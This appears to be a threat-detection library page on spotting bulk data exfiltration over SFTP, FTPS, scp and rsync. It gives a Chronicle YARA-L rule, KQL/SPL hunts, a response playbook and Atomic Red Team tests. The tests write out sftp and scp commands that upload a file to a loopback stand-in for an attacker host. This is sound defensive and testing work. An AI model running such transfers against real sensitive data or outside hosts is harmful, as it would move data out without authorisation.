Detect Data Exfiltration Over Encrypted Non-C2 Protocol (SFTP/FTPS/rsync-over-SSH) in Google Chronicle
Rather than tunneling stolen data through an existing C2 channel, some adversaries and insiders establish a separate, self-encrypted protocol session (SFTP, FTPS, rsync-over-SSH, scp) directly to an attacker-controlled or personal-cloud endpoint to move bulk data out. Because the session is encrypted at the protocol layer (SSH or TLS) rather than relying on the C2 implant's own crypto, payload inspection at the proxy is blind — the only visible signals are connection metadata: outbound sessions on FTP/FTPS/SSH ports to hosts outside the corporate asset inventory, unusually large or sustained sent-byte volume on those sessions, and dual-use binaries (scp.exe, sftp.exe, WinSCP.exe, rsync, openssh client) executing shortly after bulk file staging. This differs from the cloud-storage rclone/AzCopy pattern (which syncs to named SaaS cloud APIs over HTTPS) and the DNS-tunneling pattern (which hides data in the DNS protocol itself) already in this corpus by keying on standard file-transfer protocol sessions carrying their own encryption to a destination that is not a recognized corporate SFTP/backup target. APT41 and FIN13 have used scp/rsync to lift data from compromised Linux hosts, Scattered Spider affiliates have used WinSCP for SMB-network staging transfers, and Iron Tiger has used custom SSH-based exfiltration tooling. Detection requires correlating process execution of transfer clients with network session volume/destination reputation rather than payload content inspection.
MITRE ATT&CK
- Tactic
- Exfiltration
YARA-L Detection Query
rule encrypted_protocol_data_exfiltration {
meta:
author = "df00tech"
description = "Detects bulk data exfiltration over encrypted non-C2 protocols (SFTP/FTPS/rsync-over-SSH)"
severity = "HIGH"
mitre_attack_tactic = "Exfiltration"
mitre_attack_technique = "T1048.001"
events:
$e.metadata.event_type = "NETWORK_CONNECTION"
$e.target.port = 22 or $e.target.port = 21 or $e.target.port = 989 or $e.target.port = 990 or $e.target.port = 2222
re.regex($e.principal.process.file.full_path, `(?i)(scp|sftp|winscp|psftp|rsync)(\.exe)?$`)
condition:
$e
} Chronicle YARA-L 2.0 rule matching NETWORK_CONNECTION events against SSH/FTPS destination ports initiated by known encrypted file-transfer client processes, flagging candidate T1048.001 exfiltration sessions for volume-based triage.
Data Sources
Required Tables
False Positives & Tuning
- Approved IT/DevOps automation using scp/rsync/sftp for backups or deployments
Other platforms for THREAT-SFTPTunnel-EncryptedProtocolExfil
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate SFTP Bulk Exfiltration to External Loopback Endpoint
Expected signal: auditd/Sysmon-for-Linux: execve record for sftp with destination 127.0.0.1:22, followed by a network connect() event and multi-second session duration with non-trivial bytes sent.
- Test 2Simulate WinSCP/scp-style Bulk Transfer on Windows
Expected signal: Sysmon Event ID 1: scp.exe execution with source/destination path in command line. Sysmon Event ID 3: network connection to 127.0.0.1:22 with sustained SentBytes.
Response Playbook
Triage
- Identify the transfer client and full command line (scp/sftp/rsync target, WinSCP session name) to determine the destination path and remote username used.
- Check whether the destination IP/hostname is a known, documented corporate SFTP or backup target — if not in the asset inventory, treat as suspicious pending owner confirmation.
- Estimate data volume from SentBytes/session count — sustained multi-session transfers or a single large session both indicate bulk exfiltration rather than a small config file push.
- Review file staging activity in the preceding minutes/hours: was a large archive (zip/7z/tar) created just before the transfer session began?
- Determine whether the transfer client was launched interactively by a logged-in user or by a scheduled task/service account, which changes the likely scenario from insider/attacker-driven to potentially legitimate automation.
Containment
- Isolate the host via EDR if the destination is confirmed attacker-controlled or unrecognized and data volume is significant.
- Block the destination IP/port at the network egress firewall — since the session is protocol-encrypted, DPI/content filtering will not help; IP/port-level blocking is the primary control.
- Revoke or rotate any SSH keys or service account credentials used for the session if credential compromise (rather than authorized misuse) is suspected.
- Preserve SSH/FTP server-side audit logs and any available network flow records before they age out, since session content is not recoverable after the fact.
Evidence Collection
- Full process command line for the transfer client, including target host, remote path, and any key-file or credential arguments
- Sysmon Event ID 3 network connection records: destination IP, port, and bytes sent/received per session
- SSH/FTP server-side authentication and transfer logs from the destination if it is under organizational control
- File staging artifacts (archive files, their creation timestamps, and directories referenced) preceding the transfer
- SSH known_hosts or WinSCP saved-session configuration on the source host, which may reveal prior or planned destinations
Escalation Criteria
- !Confirmed large-volume transfer (tens of MB or more) to a destination not in the corporate asset inventory
- !Transfer client execution correlates with recent bulk file staging (archive creation) on sensitive data directories
- !Same destination IP observed receiving sessions from multiple internal hosts — potential fleet-wide compromise
- !Transfer session immediately follows credential access or lateral movement activity on the same host
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sysmon Event ID 1 (process creation) and Event ID 3 (network connection) correlated by timestamp and destination IP/port - >
SSH client configuration files (~/.ssh/config, known_hosts) and WinSCP saved session INI/registry entries - >
Archive files (zip/7z/tar) created shortly before the transfer, with file listing metadata showing collection scope - >
Network flow data (NetFlow/IPFIX) showing session duration and byte counts even where packet content is unavailable - >
Destination-side SSH/FTP server logs (if accessible via threat intel sharing or law enforcement) confirming received file names
Tuning Guidance
Build and maintain an allowlist of corporate SFTP/backup/deployment destinations (hostnames or IP ranges) and exclude them from alerting; without this the detection will be noisy in environments with legitimate DevOps SSH/rsync usage. Prioritize the sent-byte and session-count thresholds over simple client-execution matching, since scp/sftp/rsync have widespread legitimate administrative use. Where available, cross-reference destination IP/ASN against known consumer VPS/hosting providers, as attacker-controlled exfiltration endpoints are disproportionately hosted there rather than on recognized enterprise cloud ranges. Pair with SSH server-side logging (if the organization controls the destination) for cases where the destination is an internal jump host being abused to relay data onward.
Hunting Queries
Hunt over 30 days for any encrypted file-transfer sessions to public IP addresses — establishes a baseline of expected SFTP/SCP/rsync destinations so genuinely new or high-volume destinations stand out for individual review.
// Hunt for any historical SSH/FTP-port sessions initiated by transfer clients to public IPs
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemotePort in (22, 21, 989, 990, 2222)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName in~ ("scp.exe", "sftp.exe", "winscp.exe", "psftp.exe", "rsync.exe")
| summarize Sessions=count(), TotalBytesSent=sum(SentBytes), Days=dcount(bin(Timestamp,1d)) by DeviceName, AccountName, RemoteIP, RemotePort
| sort by TotalBytesSent desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 earliest=-30d
DestinationPort IN (22,21,989,990,2222)
Image IN ("*\\scp.exe","*\\sftp.exe","*\\winscp.exe","*\\rsync.exe")
| stats count AS Sessions, sum(SentBytes) AS TotalBytesSent BY host, User, DestinationIp, DestinationPort
| sort - TotalBytesSent Atomic Red Team Tests
Uses the OpenSSH sftp client to upload a test archive to a local SSH endpoint standing in for an attacker-controlled host, simulating T1048.001 exfiltration over an encrypted non-C2 SSH session without contacting real external infrastructure.
Command
dd if=/dev/urandom of=/tmp/exfil_test.bin bs=1M count=5 2>/dev/null
sftp -oStrictHostKeyChecking=no -oBatchMode=no -P 22 [email protected] <<< $'put /tmp/exfil_test.bin /tmp/received_test.bin' 2>/dev/null || true
echo 'Atomic test THREAT-SFTPTunnel-EncryptedProtocolExfil (sftp) complete - check auditd/Sysmon-for-Linux telemetry' Cleanup
rm -f /tmp/exfil_test.bin /tmp/received_test.bin Expected Telemetry
auditd/Sysmon-for-Linux: execve record for sftp with destination 127.0.0.1:22, followed by a network connect() event and multi-second session duration with non-trivial bytes sent.
Expected Detection
KQL/SPL: sftp process execution correlated with a network session on port 22 to a destination not present in the corp SFTP allowlist, contributing to SessionCount/TotalBytesSent thresholds.
Uses the Windows OpenSSH scp client to copy a test file to a loopback SSH listener, simulating the WinSCP/scp exfiltration pattern used by Scattered Spider affiliates for SMB-network data staging transfers.
Command
fsutil file createnew C:\Temp\exfil_test.bin 5000000
scp.exe -o StrictHostKeyChecking=no C:\Temp\exfil_test.bin [email protected]:/tmp/received_test.bin Cleanup
Remove-Item C:\Temp\exfil_test.bin -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1: scp.exe execution with source/destination path in command line. Sysmon Event ID 3: network connection to 127.0.0.1:22 with sustained SentBytes.
Expected Detection
Alert fires on scp.exe execution correlated with an SSH-port network session exceeding the sent-byte threshold, scored via RiskScore/TotalBytesSent.